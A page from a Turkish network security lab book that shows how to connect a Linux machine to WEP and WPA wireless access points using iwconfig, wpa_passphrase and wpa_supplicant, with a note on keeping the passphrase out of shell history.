  55. 55. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity komutları kullanılabilir. Yapılandırılmış arabirime ait özellikleri görmek istersek; root@byte: ~# iwconfig eth1 eth1 IEEE 802.11-DS ESSID:"Byte Test" Mode:Managed Frequency:2.457GHz Access Point: 00:05:60:D5:CE:76 Bit Rate:2Mb/s Tx-Power=15 dBm Sensitivity:1/3 RTS thr:off Fragment thr:off Encryption key:on Power Management:off Link Quality:46/92 Signal level:-51 dBm Noise level:-94 dBm Rx invalid nwid:0 invalid crypt:0 invalid misc:0 komutunu vermek yeterlidir. 3.1.1. WEP keykullanan AP’e bağlanma Bağlanmak istenilen erisim noktası WEP kullanacak şekilde ayarlandıysa bunu da parametre olarak belirtmek gerekir. root@byte: ~# iwconfig eth1 key 12345768901234567890123465 WPA kullanan AP’e bağlanma iwlist ve iwconfig araçları WEP ile korunan AP’lere bağlanmak için kullanılır. WPA tipinde bir AP’ye bağlanmak için wpa_supplicant aracı kullanılır. Çoğu Linux dağıtımında yüklü gelir. Eğer yüklü değilse; root@kali:~# apt-get install wpasupplicant WPA ile ilgili bilgiler bir yapılandırma dosyası içinde saklanır. Bu dosyaya yazmak için wpa_passphrase aracı kullanılır. root@kali:~# wpa_passphrase BGA Bga123456 > wpa.conf Yukarıdaki komutta BGA yerine bağlanmak istediğiniz erişim noktasının SSIDsi ve Bga123456 yerine WPA anahtarı yazılır. Cevap aşağıdaki gibi wpa.conf dosyasına yazılır. network={ ssid="BGA" #psk="Bga123456" psk=646fa82263e0f2aec5759ff3f1b409e4cde4557a68d64c45df5904ced2c4af0d } Ancak yukarıdaki komutta WPA parolası komut geçmişinde yer alacağı için güvenli değildir. Bunun yerine sadece wpa_passphrase SSID_ismi şeklinde kullanılırsa imleç aşağı iner bizden anahtarı girmemizi bekler.

×